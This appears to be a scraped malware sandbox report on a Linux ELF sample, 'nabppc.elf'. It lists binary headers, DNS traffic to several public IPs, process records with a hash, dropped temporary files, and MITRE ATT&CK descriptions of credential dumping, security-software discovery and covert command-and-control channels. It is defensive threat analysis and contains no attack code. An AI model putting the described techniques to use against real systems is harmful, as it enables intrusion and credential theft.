ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	41968
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x9100	0x0	0x6	AX	4
.fini	PROGBITS	0x100091b8	0x91b8	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x100091d8	0x91d8	0x1050	0x0	0x2	A	4
.ctors	PROGBITS	0x1001a22c	0xa22c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001a234	0xa234	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001a23c	0xa23c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001a240	0xa240	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001a388	0xa388	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001a3a0	0xa3a0	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001a40c	0xa3a0	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa3a0	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xa228	0xa228	6.3178	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xa22c	0x1001a22c	0x1001a22c	0x174	0x130c	0.7297	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 09:48:41.997039080 CET	42882	53	192.168.2.14	185.181.61.24
Oct 27, 2024 09:48:42.030922890 CET	53	42882	185.181.61.24	192.168.2.14
Oct 27, 2024 09:48:53.414094925 CET	58447	53	192.168.2.14	185.181.61.24
Oct 27, 2024 09:48:53.447715998 CET	53	58447	185.181.61.24	192.168.2.14
Oct 27, 2024 09:49:05.284864902 CET	45920	53	192.168.2.14	51.158.108.203
Oct 27, 2024 09:49:05.301274061 CET	53	45920	51.158.108.203	192.168.2.14
Oct 27, 2024 09:49:17.314728975 CET	56430	53	192.168.2.14	51.158.108.203
Oct 27, 2024 09:49:17.330674887 CET	53	56430	51.158.108.203	192.168.2.14
Oct 27, 2024 09:49:29.197619915 CET	44714	53	192.168.2.14	202.61.197.122
Oct 27, 2024 09:49:29.208539009 CET	53	44714	202.61.197.122	192.168.2.14
Oct 27, 2024 09:49:41.058330059 CET	43381	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:49:41.088510990 CET	53	43381	81.169.136.222	192.168.2.14
Oct 27, 2024 09:49:53.016521931 CET	48544	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:49:53.045942068 CET	53	48544	81.169.136.222	192.168.2.14
Oct 27, 2024 09:50:04.431241989 CET	51657	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:50:04.460429907 CET	53	51657	81.169.136.222	192.168.2.14
Oct 27, 2024 09:50:16.297388077 CET	51384	53	192.168.2.14	152.53.15.127
Oct 27, 2024 09:50:16.308234930 CET	53	51384	152.53.15.127	192.168.2.14

Start time (UTC):	08:48:40
Start date (UTC):	27/10/2024
Path:	/tmp/nabppc.elf
Arguments:	/tmp/nabppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	08:48:41
Start date (UTC):	27/10/2024
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1QFwBX (deleted)

/tmp/qemu-open.1y14qU (deleted)

/tmp/qemu-open.2d2y7V (deleted)

/tmp/qemu-open.30Z85X (deleted)

/tmp/qemu-open.3GMMrV (deleted)

/tmp/qemu-open.3OFSGU (deleted)

/tmp/qemu-open.3U62vV (deleted)

/tmp/qemu-open.5TpMlU (deleted)

/tmp/qemu-open.5ZFV4X (deleted)

/tmp/qemu-open.5r9GLT (deleted)

/tmp/qemu-open.7sHNJW (deleted)

/tmp/qemu-open.8RVyCT (deleted)

/tmp/qemu-open.8qarIW (deleted)

/tmp/qemu-open.9bOfBX (deleted)

/tmp/qemu-open.BF3hoX (deleted)

/tmp/qemu-open.C2o0SW (deleted)

/tmp/qemu-open.ChnmoX (deleted)

/tmp/qemu-open.D7YjIX (deleted)

/tmp/qemu-open.DJMHhU (deleted)

/tmp/qemu-open.DYIvfX (deleted)

/tmp/qemu-open.DbodfU (deleted)

/tmp/qemu-open.EChbVT (deleted)

/tmp/qemu-open.FHDOTW (deleted)

/tmp/qemu-open.FQym1V (deleted)

/tmp/qemu-open.FS3COU (deleted)

/tmp/qemu-open.Fs3GkU (deleted)

/tmp/qemu-open.GDkA0X (deleted)

/tmp/qemu-open.GVZNzW (deleted)

/tmp/qemu-open.GrdBOU (deleted)

/tmp/qemu-open.HLwP9T (deleted)

/tmp/qemu-open.HV65PU (deleted)

/tmp/qemu-open.IdVZAU (deleted)

/tmp/qemu-open.JvfgYT (deleted)

/tmp/qemu-open.K8YPqX (deleted)

Linux Analysis Report
nabppc.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre